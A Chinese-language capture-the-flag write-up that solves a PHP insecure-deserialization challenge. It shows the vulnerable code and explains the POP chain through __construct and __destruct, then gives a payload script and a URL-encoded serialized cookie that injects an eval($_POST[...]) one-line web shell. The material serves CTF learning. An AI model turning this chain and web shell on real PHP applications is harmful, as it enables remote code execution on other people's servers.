一、代码
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){ # 4. 这里涉及到了魔法函数,当对象创建时触发
$this->class=new info(); # 6. 如果把new info修改成 new backDoor对象,就可以触发backDoor对象里的eval函数。
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){ # 5. 当对象销毁时触发。
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code; # 7. 修改$code为,一句话木马,搭配eval来执行。
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){ # 1. 判断username和password是否有值。
$user = unserialize($_COOKIE['user']); # 2. 反序列化cookie里的user
$user->login($username,$password); # 3. 调用对象user里的login函数
}
二、解题步骤
- 这道题目涉及到了pop链
- 涉及到了魔法函数__construct在对象创建时调用,也就时说,实例化类的时候就首先调用__construct函数。这个函数在这里的作用就是实例化了backDoor对象。
- __destruct()魔法函数,对象销毁时调用,这个函数就触发了backDoor对象里的GetInfo()函数。而backDoor的GetInfo函数正好有可以利用eval函数。
三、payload
<?php
class ctfShowUser{
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code = 'eval($_POST[xxx]);';
public function getInfo(){
eval($this->code);
}
}
$user = new ctfShowUser();
echo urlencode(serialize($user));
//
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A18%3A%22eval%28%24_POST%5Bxxx%5D%29%3B%22%3B%7D%7D